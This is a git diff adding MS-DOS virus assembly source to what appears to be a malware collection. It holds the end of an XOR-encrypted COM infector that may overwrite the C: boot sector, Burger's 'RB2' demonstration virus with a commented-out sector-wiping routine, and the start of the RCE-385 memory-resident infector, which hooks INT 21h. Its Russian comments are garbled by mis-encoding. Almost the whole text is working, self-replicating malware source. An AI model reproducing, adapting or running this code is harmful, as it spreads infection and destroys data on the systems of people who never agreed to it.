offset+100h + call encrypt_decrypt ;decrypt the code for + ret ;further processing. + + +encrypt_decrypt: ;proc to (en/de)crypt the code + mov dx,word ptr [bp+encryption_value] ;use random number for every + lea si,[bp+encrypted_code_start] ;new infection + mov cx,(end_of_virus-encrypted_code_start+1)/2 + +crypt_loop: ;xor the whole virus code + xor word ptr [si],dx ;between encrypted_code_start + add si,2 ;and end_of_virus + loop crypt_loop + + ret + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; Here the part that will be encrypted starts, i.e. all code +; except the encryption routine and the routine to append virus +; to file. +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä + +encrypted_code_start: + + cld + + mov ah,1ah ;Set DTA Transfer area to after + lea dx,[bp+end_of_virus] ;after the end of file to save file + int 21h ;size. Note: do not use default 80h + ;as DTA area since the parameters to + ;the "real" program will be overwritten! + + lea si,[bp+orgbuf] ;Transfer buffer contents + lea di,[bp+orgbuf2] ;to be restored to the beginning + mov cx,2 ;for restart of the "real" program + rep movsw + + mov di,2 ;Infection counter, 2 files every run + + mov ah,19h ;get current drive + int 21h + cmp al,2 ;check if a: or b: + jae get_cur_dir ;if so, skip infection. Otherwise + jmp no_more_files ;the user will most likely get + ;quite suspicious +get_cur_dir: + mov ah,47h ;get starting directory + xor dl,dl ;it will be changed by the + lea si,[bp+end_of_virus+2ch] ;dot-dot method later on + int 21h + +find_first: ;start finding the first .com file + mov cx,7 ;in every new dir + lea dx,[bp+filespec] + mov ah,4eh + int 21h + jnc clear_attribs ;successive? + + call ch_dir ;no more files in dir. change dir + jmp find_first ;start over again + ;otherwise jmp + +find_next: ;this is the upper point of the find + mov ah,4fh ;files loop in a dir + int 21h + jnc clear_attribs + + call ch_dir ;no more files in dir. change dir + jmp find_first ;start over again + +clear_attribs: ;set the file attribute to 0 + mov ax,4301h + xor cx,cx + lea dx,[bp+end_of_virus+1eh] + int 21h + +open_file: ;open file to be infected + mov ax,3d02h +; lea dx,[bp+end_of_virus+1eh] ;since clear_attribs + int 21h + + xchg ax,bx ;Put file handle in bx + +read_file: ;read first four bytes of file + mov ah,3fh ;They will be restore to the start + mov cx,4 ;after the virus is finnished + lea dx,[bp+orgbuf] ;so the program can execute + int 21h + +check_already_infected: ;check the first to bytes and check + mov si,dx ;if the file is already infected + lea si,[bp+orgbuf] + cmp word ptr [si],0e990h + je already_infected ;if so, jmp + + cmp word ptr [bp+end_of_virus+35],'DN' ;check if command.com + jz already_infected ;if so, don't infect + + mov ax,word ptr [bp+end_of_virus+1ah] ;check file size + cmp ax,500 ;and skip short and + jb already_infected ;long files + cmp ax,64000 + ja already_infected + + + mov ax,4202h ;get lenght of initial jmp in ax + xor cx,cx + xor dx,dx + int 21h + + sub ax,4 ;subtract the first four bytes, which + ;will be overwritten + + mov word ptr [bp+startbuf],0e990h ;load the buffer with a nop + mov word ptr [bp+startbuf+2],ax ;and a jmp to virus beginning + ;notice the reversed order! + + mov ax,4200h ;move to beginning of file + int 21h + + mov ah,40h ;write the new instructions + mov cx,4 + lea dx,[bp+startbuf] + int 21h + + mov ax,4202h ;move to end of file + xor cx,cx + xor dx,dx + int 21h + + mov ah,2ch ;get a random number from + int 21h ;system clock for the + mov word ptr [bp+encryption_value],dx ;encryption routine + call write_virus_to_file ;append the virus code + jmp restore_time_date + +already_infected: ;if already encrypted increase + inc di ;infection counter with one + +restore_time_date: ;restore file time & date + lea si,[bp+end_of_virus+16h] + mov cx,word ptr [si] + mov dx,word ptr [si+2] + mov ax,5701h + int 21h + +close_file: ;close the file handle + mov ah,3eh + int 21h + +set_old_attrib: ;restore the old file attrib + mov ax,4301h + xor ch,ch + mov cl,byte ptr [bp+end_of_virus+15h] + lea dx,[bp+end_of_virus+1eh] + int 21h + + dec di ;decrease infection counter + cmp di,0 ;and check if infection is + jbe no_more_files ;completed + jmp find_next + +no_more_files: + + mov ah,2ch ;get a new random number + int 21h ;5% chance of nuke + cmp dl,5 + ja restore_start ;above 5 no nuke + + mov ax,0301h ;trash the bootsector of c: + mov cx,0001h ;This might seem cruel but + mov dx,0080h ;norton and other programs + lea bx,[bp+start_of_virus] ;easily fix it. It's just + int 13h ;to make the user nervous!! + + mov ah,09h ;deliver a message too + lea dx,[bp+signature] + int 21h + + +restore_start: ;copy the four saved bytes to + lea si,[bp+orgbuf2] ;beginning of file in memory + mov di,100h + movsw + movsw + + +restore_dir: ;change back to original + lea dx,[bp+end_of_virus+2ch] ;dir + mov ah,3bh + int 21h + +exit_proc: ;return to start of program + mov bx,100h ;This will be enrypted in + push bx ;infected files, so anti-vir + ;progs won't complain. + xor ax,ax ;for org virus to push on + retn ;the stack for ret + + +ch_dir: + lea dx,[bp+dot_dot] ;use dot-dot method + mov ah,3bh + int 21h + jnc no_err ;sub dir existed + pop ax ;otherwise all files are checked. exit! + jmp no_more_files ;pop the ip pointer from the stack +no_err: ;and jump to the end part + ret + +signature db "CARPE DIEM! (c) '93 - Raver/Immortal Riot",0ah,0dh,'$' +country db " Sweden 16/11/93" +filespec db '*.com',0 +dot_dot db '..',0 +orgbuf db 90h,90h,50h,0c3h ;instructions to exit the +orgbuf2 db 4 dup(0) ;scratch after infection +startbuf db 4 dup(0) ;nop,nop,push ax,ret +end_of_virus: +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; The virus code ends here but the point below here (the heap) +; is used to store temporary variables such as the dta-area and +; the starting directory +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +cseg ends + end start_of_virus \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.rb2.asm b/MSDOS/Virus.MSDOS.Unknown.rb2.asm new file mode 100644 index 00000000..24fb7656 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.rb2.asm @@ -0,0 +1,461 @@ + page 70,120 + Name VIRUS +;************************************************************************* + +; Program Virus Ver.: 1.1 +; Copyright by R. Burger 1986 +; This is a demonstration program for computer +; viruses. It has the ability to replicate itself, +; and thereby modify other programs +;************************************************************************* + + + +Code Segment + Assume CS:Code +progr equ 100h + ORG progr + +;************************************************************************* + +; The three NOP's serve as the marker byte of the +; virus which will allow it to identify a virus +;************************************************************************* + +MAIN: + nop + nop + nop + +;************************************************************************* + +; Initialize the pointers +;************************************************************************* + + mov ax,00 + mov es:[pointer],ax + mov es:[counter],ax + mov es:[disks],al + +;************************************************************************* + +; Get the selected drive +;************************************************************************* + + mov ah,19h ; drive? + int 21h + +;************************************************************************* + +; Get the current path on the current drive +;************************************************************************* + + mov cs:drive,al ; save drive + mov ah,47h ; dir? + mov ah,ah + mov si,si + mov dh,0 + add al,1 + mov dl,dl + nop ;**** + mov dl,al + mov dl,dl + nop ;**** ; in actual drive + lea si,cs:old_path + int 21h + +;************************************************************************* + +; Get the number of drives present. +; If only one drive is present, the pointer for +; search order will be set to search order + 6 +;************************************************************************* + + mov ah,0eh ; how many disks + mov dl,0 ;****???? + int 21h + + mov al,01 + cmp al,01 ; one drive? + jnz hups3 + mov al,06 + +hups3: mov ah,0 + lea bx,search_order + add bx,ax + add bx,0001h + mov cs:pointer,bx + clc + +;************************************************************************* + +; Carry is set, if no more .COM's are found. +; Then, to avoid unnecessary work, .EXE files will +; be renamed to .COM file and infected. +; This causes the error message "Program too large +; to fit in memory" when starting larger infected +; EXE programs. +;************************************************************************* + +change_disk: + jnc no_name_change + mov ah,17h ; change exe to com + lea dx,cs:maske_exe + int 21h + cmp al,0ffh + jnz no_name_change ; .EXE found? + +;************************************************************************* + +; If neither .COM nor .EXE is found, then sectors will +; be overwritten depending on the system time in +; milliseconds. This is the time of the complete +; "infection" of a storage medium. The virus can find +; nothing more to infect and starts its destruction. +;************************************************************************* + +; mov ah,2ch ; read system clock +; int 21h +; mov bx,cs:pointer +; mov al,cs:[bx] +; mov bx,dx +; nop ;**** +; mov cx,2 +; nop ;**** +; mov dh,0 +; int 26h ; write crap on disk + +db ' RB2 - LiquidCode ' +;************************************************************************* + +; Check if the end of the search order table has been +; reached. If so, end. +;************************************************************************* + +no_name_change: + mov bx,cs:pointer + dec bx + mov cs:pointer,bx + mov dl,cs:[bx] + cmp dl,0ffh + jnz hups2 + jmp hops + +;************************************************************************* + +; Get new drive from search order table and +; select it. +;************************************************************************* + +hups2: + mov ah,0eh + mov dl,2 ;***** + + int 21h ; change disk + +;************************************************************************* + +; Start in the root directory +;************************************************************************* + + mov ah,3bh ; change path + lea dx,path + int 21h + jmp find_first_file + +;************************************************************************* + +; Starting from the root, search for the first subdir +; First convert all .EXE files to .COM in the old +; directory. +;************************************************************************* + +find_first_subdir: + mov ah,17h ; change exe to com + lea dx,cs:maske_exe + int 21h + mov ah,3bh ; use root dir + lea dx,path + int 21h + mov ah,04eh ;Search for first subdirectory + mov cx,00010001b ; dir mask + lea dx,maske_dir + int 21h + jc change_disk + + mov bx,CS:counter + INC BX + DEC bx + jz use_next_subdir + +;************************************************************************* + +; Search for the next subdir. If no more directories +; are found, the drive will be changed. +;************************************************************************* + +find_next_subdir: + mov ah,4fh ; search for next subdir + int 21h + jc change_disk + dec bx + jnz find_next_subdir + +;************************************************************************* + +; Select found directory +;************************************************************************* + +use_next_subdir: + mov ah,2fh ; get dta address + int 21h + add bx,1ch + mov es:[bx],'\ ' ; address of name in dta + inc bx + push ds + mov ax,es + mov ds,ax + mov dx,bx + mov ah,3bh ; change path + int 21h + pop ds + mov bx,cs:counter + inc bx + mov CS:counter,bx + +;************************************************************************* + +; Find first .COM file in the current directory. +; If there are non, search the next directory. +;************************************************************************* + +find_first_file: + mov ah,04eh ; Search for first + mov cx,00000001b ; mask + lea dx,maske_com ; + int 21h + jc find_first_subdir + jmp check_if_ill + +;************************************************************************* + +; If the program is already infected, search for +; the next program. +;************************************************************************* + +find_next_file: + mov ah,4fh ; search for next + int 21h + jc find_first_subdir + +;************************************************************************* + +; Check if already infected by the virus. +;************************************************************************* + +check_if_ill: + mov ah,3dh ; open channel + mov al,02h ; read/write + mov dx,9eh ; address of name in dta + int 21h + mov bx,ax ; save channel + mov ah,3fh ; read file + mov cx,buflen ; + mov dx,buffer ; write in buffer + int 21h + mov ah,3eh ; CLOSE FILE + int 21h + +;************************************************************************* + +; Here we search for three NOP's. +; If present, there is already an infection. We must +; then continue the search. +;************************************************************************* + + mov bx,cs:[buffer] + cmp bx,9090h + jz find_next_file + +;************************************************************************* + +; Bypass MS-DOS write protection if present +;************************************************************************* + + mov ah,43h ; write enable + mov al,0 + mov dx,9eh ; address of name in dta + int 21h + mov ah,43h + mov al,01h + and cx,11111110b + int 21h + +;************************************************************************* + +; Open file for write access. +;************************************************************************* + + mov ah,3dh ; open channel + mov al,02h ; read/write + mov dx,9eh ; address of name in dta + int 21h + +;************************************************************************* + +; Read date entry of program and save for future use. +;************************************************************************* + + mov bx,ax ; channel + mov ah,57h ; get date + mov al,0 + int 21h + push cx ; save date + push dx + +;************************************************************************* + +; The jump located at address 0100h of the program +; will be saved for future use. +;************************************************************************* + + mov dx,cs:[conta] ; save old jmp + mov cs:[jmpbuf],dx + mov dx,cs:[buffer+1] ; save new jump + lea cx,cont-100h + sub dx,cx + mov cs:[conta],dx + +;************************************************************************* + +; The virus copies itself to the start of the file +;************************************************************************* + + mov ah,40h ; write virus + mov cx,buflen ; length buffer + lea dx,main ; write virus + int 21h + +;************************************************************************* + +; Enter the old creation date of the file. +;************************************************************************* + + mov ah,57h ; write date + mov al,1 + pop dx + pop cx ; restore date + int 21h + +;************************************************************************* + +; Close the file. +;************************************************************************* + + mov ah,3eh ; close file + int 21h + +;************************************************************************* + +; restore the old jump address. +; The virus saves at address "conta' the jump which +; was at the start of the host program. +; This is done to preserve the executability of the +; host program as much as possible. +; After saving itstill works with the jump address +; contained in the virus. The jump address in the +; virus differs from the jump address in memory +; +;************************************************************************* + + mov dx,cs:[jmpbuf] ; restore old jmp + mov cs:[conta],dx +hops: nop + call use_old + +;************************************************************************* + +; Continue with the host program. +;************************************************************************* + +cont db 0e9h ; make jump +conta dw 0 + mov ah,00 + int 21h + +;************************************************************************* + +; reactivate the selected drive at the start of the +; program. +;************************************************************************* + +use_old: + mov ah,0eh ; use old drive + mov dl,cs:drive + int 21h + +;************************************************************************* + +; Reactivate the selected path at the start of the +; program. +;************************************************************************* + + mov ah,3bh ; use old dir + lea dx,old_path-1 ; get old path and backslash + int 21h + ret + + +search_order db 0ffh,1,0,2,3,0ffh,00,0ffh +pointer dw 0000 ; pointer f. search order +counter dw 0000 ; counter f. nth search +disks db 0 ; number of disks + + +maske_com db "*.com",00 ; search for com files +maske_dir db "*",00 ; search dir's +maske_exe db 0ffh,0,0,0,0,0,00111111b + db 0,"????????exe",0,0,0,0 + db 0,"????????com",0 +maske_all db 0ffh,0,0,0,0,0,00111111b + db 0,"???????????",0,0,0,0 + db 0,"????????com",0 + +buffer equ 0e000h ; a safe place + +buflen equ 230h ; length of virus !!!!!! + ; careful + ; if changing !!!!!! + +jmpbuf equ buffer+buflen ; a safe place for jump +path db "\",0 ; first path +drive db 0 ; actual drive +back_slash db "\" +old_path db 32 dup(?) ; old path + +code ends + +end main + +;************************************************************************* +; WHAT THE PROGRAM DOES: +; +; When the program is started, the first COM file in the root +; directory is infected. You can't see any changes to the +; directory entries. But if you look at the hex dump of an +; infected program, you can see the marker, which in this case +; consists of three NOP's (hex 90). WHen the infected program +; is started, the virus will first replicate itself, and then +; try to run the host program. It may run or it may not, but +; it will infect another program. This continues until all +; the COM files are infected. The next time it is run, all +; of the EXE files are changed to COM files so that they can +; be infected. In addition, the manipulation task of the virus +; begins, which consists of the random destruction of disk +; sectors. +;************************************************************************* +  +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + diff --git a/MSDOS/Virus.MSDOS.Unknown.rce.asm b/MSDOS/Virus.MSDOS.Unknown.rce.asm new file mode 100644 index 00000000..4636975e --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.rce.asm @@ -0,0 +1,391 @@ +;ŪßßßßßßßßßßßßßßßŪ ß ß ŪŪßŪŪßŪŪ +;Ū STEALTH group Ū° Ū ŪßÜ Ūßß Üßß Üßß ßŪß Üßß ŪßŪ Ż Ū ÜßŪ Ū Üßß Üßß ŪŪ ßß ŪŪ +;Ū presents Ū° Ū Ū Ū Ūß Ūß Ū Ū Ūß Ū Ū Ū Ū Ū Ū Ū Ū ßŪßß ŪŪŪŪŪ ŪŪ +;ŪÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŪ° Ž Ž Ž Ž ŽÜÜ ŽÜÜ Ž ŽÜÜ ŽÜß ßŪ ßÜŪ Ž ŽÜÜ ŽÜÜ ŪŪŪŪŪÜŪŪ +; °°°°°°°°°°°°°°°°° JAN 1995 +; +; INFECTED VOICE. Issue 4. January 1995. (C) STEALTH group, Kiev 148, Box 10. +; THE FIRST UNIQUE VIRUS MAGAZINE IN FORMER U.S.S.R.!!! +; +;--- RCE-385 (!).------------------------------------------------------------- +; ¯ŖØ ®¤­ Ŗ® ¢ą¬­  Æ®č«Ø - ®ģļ¢Ø«įļ ­ŖØ© ¤ļ¤īčŖ  ®įā®¢®© Ø ­ ÆØį « į¢®© +;ēąā®¢įŖØ ¤®ā®č­ė© AdInf -> ­ć Ø ēā® ¦ āÆąģ?-¤ ,āÆąģ įؤج ¬ė āå­®Ŗąėįė +;Ø įā­ ¬ Æ® ā¬ ¤®ąė¬ ¢ą¬­ ¬,Ŗ®£¤  ć ī§ą  ę«ė© §®®Æ ąŖ ­  ¬ čØ­ £ «, +;  ®­ - « ¦­ ¢ ­¢¤­ØØ,į«ī­®ī ąė§¦ ,¤®Ŗ §ė¢ «,ēā® ­āć ā ŖØå §¢ą© ¢ RAM. +; € āÆąģ Æ®­ įā ¢Ø«Ø ÆąØ¬®ēŖ ¢įļŖØå - ēćāģ ēā®,įą §ć § ¢®Æļā!„ ¦ įā«§ė +;ÆąØ§ ¤ć¬ «Øįģ : "€ ē£® ķā® ¬ė į¤įģ ā«  į¢®Ø į®Ŗąė¢ ¬,Æąļē įģ Ŗ Ŗ *beep ¢ +;*beep". į āå Æ®ą Æ®č« ą §« ¤ ¢ įą¤ ‚Øą¬ Ŗ®¢.ā® Æą¤« £ ā ąė«® ¢ § éØé­- +;­ė© ą¦Ø¬ įć­ćāģ Ø ā¬ į ¬ė¬ Æ®¤£«ļ¤ė¢ ­Ø ÆąØįēģ,  Ŗā® Æ® ¤®ą®ā ¤ćč¢­®© +;®é ā ÆąØ ą ŖęØØ ¤āŖā®ą  Ŗ Ŗ®£®, «ģ įā®ą®¦  ¢§¤įć飮,¬ čØ­ ¢Ø­ā +;­  *beep ®ÆćįŖ āģ!¨® ¢į ķā® Æ®«­ ļ *beep­ļ!¸®į«ćč ©ā ą āęė ‚Øą¬ ŖØ -- +;­ ¢ āØą ¦ įē įāģ,  ¢ Ŗą į®ā  «£®ąØā¬ !!!¨å © «®¢ļāįļ ¢ čØ §¢ąØ ¢įļŖØ¬Ø +;ą¢Ø§®ą ¬Ø,Æćįāģ 䮹¬ āØā ī§ą į¢®Ø ¢Ø­āė.¨ˇ ē¬ ®«ģč ­ į ā¬ ¬­ģč ī§ą®¢! +;(® ¬­®£Ø ا ­ į é ­ Æ®§ ė«Ø Basic).€ «ēØ«ŖØ ¢įļŖØ - ®­Ø ­ ¬ §¬«ī +;ą įēØé īā,¤«ļ ­®¢ėå "Æ®į ¤®Ŗ"! +; ¨® įØ ¢į ę¢ā®ēŖ ¬Ø ®§ė¢ āįļ!€ ¢®ā Æą¤įā ¢ā į,ēā® į¬ėč«­­ė© ¬ «ė© +;¦« ā ­ ÆØį āģ Æą¢® į¢® Æą®Ø§¢¤­Ø,  ­ā ć ­£® ­Ø ā®ąØØ ­Ø ¬ āąėå +;Ŗ®ąč©-‚Øą¬ Ŗ®¢!‚®ā Ø ÆąØč«®įģ ¬­ į®įā ¢«ļāģ Æ®į®Ø-¤«ļ-­ ēØ­ īéØå. +;ė« ķā® ¢Øąćį RCE-666 (¬­®ī ÆØį ­).Aidstest £® Ŗ«Øēā: INFO /666,Web: Die-666. +;­® Æ®ā®¬ ®ą§ ¢ £® ¬ «­ģŖ®,Æ®«ćēØ« ļ RCE-385! +; ¨ ¤īįģ,ēā® ˇ¨ ¤«ļ ­®¢ØēŖ®¢- ćē­ØŖ®¬ įā ­ā,  ¤«ļ £®įÆ®¤ « ¬ą®¢ - ¤®įā®©- +;­ė¬ Æ®«Ø£®­®¬! +;----------------------------------------------------------------------------- +;(c) Light General.Kiev.1995. STEALTH group . For free use! +;----------------------------------------------------------------------------- + +cseg segment + assume cs:cseg,ds:cseg + org 100h +start: + nop ; ¸ąØ§­ Ŗ § ą ¦­Øļ .COM ä ©« . + jmp virr +; Ŗ®ė § ą ¦­­ ļ Æą®£ą ¬¬ .(‡ ­Ø¬ ā 30  ©ā). + nop + nop + mov ah,09 + lea dx,wrn + int 21h + mov ax,4c00h + int 21h +;-------------------------------------- +wrn db 'FRODO LIVES!$' +;-------------------------------------- + +;################# VIRUS ################## + +virr: + call $+3 + pop si + sub si,03 +;-Hacked mem.----------------------------------------------------- + push si + clc + mov ax,0FEFEh ; ¸ą®¢ąļ¬ Æ ¬ļāģ ­  § ą ¦­­®įāģ! + int 21h ; ®«Ø ¢Øąćį “†… įؤØā ¢ ¬ čØ­ ā® ®­ + jc exit_v ; Æ®¤­Ø¬ā ä« £ CF! +;- ‘«¤ćīé ļ ē įāģ Ŗ®¤  Æą®Ø§¢®¤Øā "®āŖćįė¢ ­Ø" 512  ©ā Æ ¬ļāØ!------------- +; ¸ąØ­ęØÆ ķā®£® "®āŖćįė¢ ­Øļ" ®į­®¢ė¢ āįļ ­  ā®¬,ēā® ÆąØ ¢ėÆ®«­­ØØ Æą®£ą ¬¬ė +;įØįā¬  įāą®Øā Æą¤ Ŗ®¤®¬ ā ŖØ «®ŖØ (®ą āØā ¢­Ø¬ ­Ø ­  ¢ė¤«­­ė +;ē įāØ) +;---(1)--- MCB - Memory Control Block («®Ŗ ćÆą ¢«­Øļ Æ ¬ļāģī) +; ˇėē­® ¢ ā ŖØå «®Ŗ å DOS ®ÆØįė¢ ā ¢ė¤«­­ė Æą®£ą ¬¬ ¬ ćē įāŖØ Æ ¬ļāØ! +; ”ˇ€’ : +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĀÄÄÄÄÄÄÄĀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ‘¬é­Ø ļē©ŖØ ®ā ³ „«Ø­  ³ ¨ §­ ē­Ø +; ­ ē «  «®Ŗ . ³ ³ +; ³ ³ +; 00 ³ 1b ³ …į«Ø įā®Øā 'M' ā® ķā®ā «®Ŗ ­ Æ®į«¤­Ø© +; ³ ³ 'Z' Æ®į«¤­Ø©. +; 01 ³ 1w ³ ‘£¬­ā­ė©  ¤ąį (į Ŗ®ā®ą®£® ¢ė¤«­ «®Ŗ). +;++++> 03 ³ 1w ³ „«Ø­  «®Ŗ  ¢ Æ ą £ą ä å (Æ ą £ą ä = 16  ©ā) +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĮÄÄÄÄÄÄÄĮÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +;„ «ģč ؤćā é ¤ ­­ė,­® ­ į Ø­āąįćā ā®«ģŖ® ķā®! ÄÄÄÄÄÄÄÄÄÄÄÄ +; +;---(2)--- PSP - Program Segment Prefix (¸ąäØŖį Æą®£ą ¬¬­®£® į£¬­ā ) +; ‘¤įģ į®¤ą¦Øāįļ Ø­ä®ą¬ ęØļ ¤«ļ § ÆćįŖ ¬®© Æą®£ą ¬¬ė! +; ”ˇ€’ : +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĀÄÄÄÄÄÄÄĀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ‘¬é­Ø ļē©ŖØ ®ā ³ „«Ø­  ³ ¨ §­ ē­Ø +; ­ ē «  «®Ŗ . ³ ³ +; ³ ³ +; 00 ³ 1w ³ ‚ ķā®¬ į«®¢ įā®Øā Ŗ®¬ ­¤  int 20h (CD 20h) +;++++> 02 ³ 1w ³ ˇéØ© ą §¬ą Æ ¬ļāØ ¢ė¤«­­ė© Æą®£ą ¬¬! +; ³ ³ (¸ąØ § ÆćįŖ Æą®£ą ¬¬ė DOS ¢ė¤«ļā © ¢įī +; ³ ³ Æ ¬ļāģ "¤® Ŗ®­ę " 640 ŖØ«® ©ā!) +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĮÄÄÄÄÄÄÄĮÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +;„ «ģč ؤćā ­ Ø­āąįćīéØ ­ į ¤ ­­ė! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +;-- ’ Ŗ ¢®ā,®ā­Ø¬ ļ ­Ŗ®ā®ą® §­ ē­Ø ®ā ¢ė¤«­­ėå ļēŖ,¬ė ¬®¦¬ į¤« āģ +;"¤ėąŖć" ¢ įā ąčØå  ¤ąį å Æ ¬ļāØ Ø Æą­įāØ ā椠 ā«® ¢Øąćį ! +; ¸ą ŖāØēįŖ ļ ą «Ø§ ęØļ : + mov ax,ds + dec ax + mov es,ax + sub word ptr es:[03],35 ;* 512b + sub word ptr ds:[02],35 ;* 512b + mov es,ds:[02] ; ES = į£¬­ā­.  ¤ą. "®āŖćč." Æ ¬ļāØ! + push ds cs + pop ds + xor di,di + mov cx,offset ax_len-offset virr ; „«Ø­  ¢Øąćį ! + rep movsb ; ¸ą­®įج ¢Øąćį ¢ "®āŖ." Æ ¬ļāģ! +;-Install int.---------------------------------------------------- + mov al,21h + mov dx,offset int_21h_entry-offset virr + mov si,offset ofs_21h-offset virr + push es + pop ds + call inst_int ; “įā ­®¢Ø¬  ¤ąį int 21h ­  į¢®© + ; ®ą ®āēØŖ. + pop ds +exit_v: + push ds + pop es + pop si +;- COM or EXE ?--------------------------------------------------- +; ¸ą®¢ąØ¬ ا Ŗ Ŗ®£® ä ©«  ¬ė įā ąā®¢ «Ø? +; ¯ā® ¤« āįļ Æ®ā®¬ć,ēā® Æą¤ ē  ćÆą ¢«­Øļ .COM Ø«Ø .EXE Æą®£ą ¬¬ +; Æą®Øį室Øā Æ® ą §­®¬ć! + cmp byte ptr cs:[si+offset origin_2_byte-offset virr+1],'Z' + jz L_exe +;-‚ocįā ­®¢Øāģ āąØ  ©ā  ‡.¸.------------------------------------- +; “ .COM ä ©«  ­ ¤®­® ¢®įįā ­®¢Øāģ ēāėą Æą¢ėå  ©ā  Ŗ®ā®ąė ¬ė ا¬­Ø«Ø +; ÆąØ § ą ¦­Øļ ä ©«  ­  ¤ØįŖ!(ė § ÆØį «Ø ā椠 Ŗ®¬ ­¤ć Æąå®¤  ­  ¢Øąćį). + mov di,100h + add si,offset origin_2_byte-offset virr +; SI =  ¤ąį ćäą  į ®ąØ£Ø­ «ģ­ė¬Ø  ©ā ¬Ø .COM ä ©« ! + push di + movsw + movsw + xor ax,ax + ret ; Go to infected com program. +;-Loaded from exe file.-------------------------------------------- +; € ¢®ā ķā® įÆ®į®  ŖāØ¢ ęØØ .EXE Æą®£ą ¬¬ė! +; ‘¤įģ Æą®Øį室Øā ¢į Ø­ ē : ā.Ŗ. ÆąØ § ą ¦­ØØ ä ©«  ¬ė ا¬­Ø«Ø ¢ ­¬ +; § £®«®¢®Ŗ Ŗ®ā®ąė© ćŖ §ė¢ ā į Ŗ Ŗ®£®  ¤ąį  ķā®ā ä ©« § ÆćįŖ īā! +; (ā® ­ §­ ā,ēā® ā Ŗ® § £®«®¢®Ŗ .EXE ä ©«  Æćįāģ ®ą āØāįļ Ŗ Ŗ­Ø£ ¸.€«ļ +; "§ėŖ €įį¬«ą  ¤«ļ IBM PC Ø Æą®£ą ¬¬Øą®¢ ­Øļ" (įāą. 362) +L_exe: + mov ax,es + add ax,10h + add cs:[offset CS_file-offset virr][si],ax +; ’ Ŗ ¬ė ¢ėēØį«Ø«Ø į£¬­ā ¢ Ŗ®ā®ąė© ­ ¤® Æą¤ āģ ćÆą ¢«­Ø! + db 0eah ;- +IP_file dw ? ;- JMP Far CS_file:IP_file +CS_file dw ? ;- +;------------------------------------------------------------------ +; € ķā® į®įā¢­­® ē įāģ ®ā¢ē īé ļ §  § ą ¦­Ø Æą®£ą ¬¬! +int_21h_entry proc + cmp ax,0FEFEh ;-…į«Ø į®ą ā įÆą čØ¢ ā ® ­ «ØēØØ + jnz _@1 ;-į¢®© ą®¤­Ø ā® ¤ āģ ¤ąć¦įŖØ© ®ā¢ā. + stc ;- +int_24h_entry: + mov al,03 + retf 2 + +_@1: + cmp ax,4b00h ; …į«Ø DOS Æėā āįļ ¢ėÆ®«­Øāģ Æą®£ą ¬¬ć + jnz exit_all ; ā® ¬ė § ą ¦ ¬ ! + jmp infecting ; +exit_date: + mov ax,5701h ; “įā ­®¢Ŗ  įā ą®© ¤ āė ä ©« . + mov cx,es:[di+13] ;<- Time + mov dx,es:[di+15] ;<- Date + int 21h +exit_close: + mov ah,3eh ; ¸ą¤ Æą¤ ē© ćÆą ¢«­Øļ DOS'ć - + int 21h ; § Ŗą®¬ ä ©« Ŗ®ā®ąė© § ą ¦ «Ø! +exit_pop: + lds dx,cs:[offset ofs_24h-offset virr] + mov ax,2524h ; “įā ­®¢Ø¬ ­  ¬įā® int 24h + int 21h + pop bp + pop ds + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax +exit_all: + db 0eah +ofs_21h dw 0000 +seg_21h dw 0000 +int_21h_entry endp +;------------------------------------------------------------------- 